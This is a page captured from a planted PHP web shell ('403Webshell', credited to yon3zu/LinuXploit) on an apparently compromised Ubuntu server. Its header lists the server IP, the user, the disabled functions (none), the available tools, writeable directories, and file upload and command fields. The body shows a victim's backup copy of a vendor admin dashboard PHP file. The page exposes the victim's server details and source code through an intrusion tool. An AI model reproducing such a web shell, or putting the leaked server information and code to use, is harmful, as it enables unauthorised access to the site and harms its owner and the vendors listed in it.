403Webshell
Server IP : 173.209.174.21  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux wcfs-server 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : nodor ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/vendorset/Vendorapp/backup files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vendorset/Vendorapp/backup files/admin_dashboard.php.styling123
<?php
// Start the session
session_start();

// Check if the user is logged in as an admin
if (!isset($_SESSION['admin_logged_in']) || $_SESSION['admin_logged_in'] !== true) {
    header("Location: admin_login.php"); // Redirect to login page if not logged in
    exit();
}

// Include the database configuration
include 'config.php';

// Establish a database connection
$conn = new mysqli(DB_HOST, DB_USER, DB_PASS, DB_NAME);
if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}

// Check if delete action is triggered
if (isset($_GET['delete_id'])) {
    $delete_id = $_GET['delete_id'];
    $delete_sql = "DELETE FROM vendors WHERE id = ?";
    $stmt = $conn->prepare($delete_sql);
    $stmt->bind_param("i", $delete_id);
    $stmt->execute();
    $stmt->close();
    header("Location: admin_dashboard.php"); // Redirect to refresh the page
    exit();
}

// Fetch vendor data from the database
$sql = "SELECT id, name, email, category, spots, payment_status, description, website FROM vendors";
$result = $conn->query($sql);

// Calculate total spots taken and number of vendors
$total_vendors = $result->num_rows;
$spots_taken = 0;
while ($row = $result->fetch_assoc()) {
    $spots_taken += $row['spots'];
}
$result->data_seek(0); // Reset result pointer

// Export to Excel logic
if (isset($_POST['export_excel'])) {
    header('Content-Type: application/vnd.ms-excel');
    header('Content-Disposition: attachment;filename="vendors_list.xls"');
    header('Cache-Control: max-age=0');
    
    $output = fopen('php://output', 'w');
    fputcsv($output, ['ID', 'Name', 'Email', 'Category', 'Spots', 'Payment Status', 'Description', 'Website']); // Header row

    while ($row = $result->fetch_assoc()) {
        // Convert payment_status from numeric to readable format
        switch ($row['payment_status']) {
            case 1:
                $payment_status = 'Paid';
                break;
            case 0:
                $payment_status = 'Unpaid';
                break;
            case 2:
                $payment_status = 'Pending';
                break;
            default:
                $payment_status = 'Unknown';
        }
        $row['payment_status'] = $payment_status;
        fputcsv($output, $row);
    }
    fclose($output);
    exit();
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Admin Dashboard</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            background-color: #F5F5F5;
            color: #333333;
            margin: 0;
            padding: 0;
            display: flex;
            justify-content: center;
            align-items: center;
            flex-direction: column;
        }
        .main-container {
            background-color: #FFFFFF;
            padding: 20px;
            border-radius: 8px;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
            width: 80%;
            max-width: 1200px;
        }
        h2 {
            text-align: center;
            color: #1E90FF;
        }
        table {
            width: 100%;
            border-collapse: collapse;
            margin-top: 20px;
        }
        table, th, td {
            border: 1px solid #ddd;
        }
        th, td {
            padding: 10px;
            text-align: left;
        }
        th {
            background-color: #f2f2f2;
        }
        .button {
            background-color: #1E90FF;
            color: white;
            padding: 5px 10px;
            border: none;
            border-radius: 5px;
            cursor: pointer;
        }
        .button:hover {
            background-color: #1C86EE;
        }
        .delete-button {
            background-color: #ff4d4d;
        }
        .delete-button:hover {
            background-color: #e60000;
        }
        .export-section {
            margin-bottom: 20px;
        }
        .description-column {
            word-wrap: break-word; /* Allow text to wrap */
            white-space: normal;   /* Allow new lines */
            max-width: 300px;      /* Limit the column width */
        }
        /* Colors for payment status in the payment status column */
        .paid {
            background-color: #28a745; /* Green */
            color: white;
        }
        .unpaid {
            background-color: #dc3545; /* Red */
            color: white;
        }
        .pending {
            background-color: #ffc107; /* Yellow */
            color: black;
        }
        .unknown {
            background-color: #6c757d; /* Gray */
            color: white;
        }
    </style>

    <script type="text/javascript">
        // Confirm delete function
        function confirmDelete(url) {
            var result = confirm("Are you sure you want to delete this vendor?");
            if (result) {
                window.location.href = url; // If confirmed, go to the delete URL
            }
        }
    </script>
</head>
<body>

    <div class="main-container">
        <h2>Admin Dashboard</h2>
        
        <!-- Display Tally Information -->
        <p><strong>Total Vendors:</strong> <?php echo $total_vendors; ?></p>
        <p><strong>Total Spots Taken:</strong> <?php echo $spots_taken; ?></p>

        <!-- Export to Excel Button -->
        <div class="export-section">
            <form method="POST" action="admin_dashboard.php">
                <button type="submit" name="export_excel" class="button">Export to Excel</button>
            </form>
        </div>

        <table>
            <tr>
                <th>Name</th>
                <th>Email</th>
                <th>Category</th>
                <th>Spots</th>
                <th>Payment Status</th>
                <th>Description</th>
                <th>Website</th>
                <th>Action</th>
            </tr>
            <?php
            if ($result->num_rows > 0) {
                while ($row = $result->fetch_assoc()) {
                    // Convert payment_status from numeric to readable format and apply corresponding class
                    switch ($row['payment_status']) {
                        case 1:
                            $payment_status = 'Paid';
                            $status_class = 'paid';
                            break;
                        case 0:
                            $payment_status = 'Unpaid';
                            $status_class = 'unpaid';
                            break;
                        case 2:
                            $payment_status = 'Pending';
                            $status_class = 'pending';
                            break;
                        default:
                            $payment_status = 'Unknown';
                            $status_class = 'unknown';
                    }
                    
                    // Check if website exists and is valid
                    $website_link = (!empty($row['website']) && filter_var($row['website'], FILTER_VALIDATE_URL)) ? "<a href='" . htmlspecialchars($row['website']) . "' target='_blank'>" . htmlspecialchars($row['website']) . "</a>" : "No Website";

                    echo "<tr>";
                    echo "<td><a href='vendor_details.php?id=" . $row['id'] . "'>" . htmlspecialchars($row['name']) . "</a></td>"; // Link to vendor details page
                    echo "<td>" . htmlspecialchars($row['email']) . "</td>";
                    echo "<td>" . htmlspecialchars($row['category']) . "</td>";
                    echo "<td>" . htmlspecialchars($row['spots']) . "</td>";
                    echo "<td class='{$status_class}'>" . $payment_status . "</td>"; // Add the class for color
                    echo "<td class='description-column'>" . htmlspecialchars($row['description']) . "</td>"; // Display description with word-wrap
                    echo "<td>" . $website_link . "</td>"; // Display website with a clickable link
                    echo "<td>
                            <a href='edit_vendor.php?id=" . $row['id'] . "' class='button'>Edit</a>
                            <a href='javascript:void(0);' onclick='confirmDelete(\"admin_dashboard.php?delete_id=" . $row['id'] . "\")' class='button delete-button'>Delete</a>
                          </td>";
                    echo "</tr>";
                }
            } else {
                echo "<tr><td colspan='8'>No vendors found.</td></tr>";
            }
            ?>
        </table>
    </div>

</body>
</html>

<?php
// Close the database connection
$conn->close();
?>

Youez - 2016 - github.com/yon3zu
LinuXploit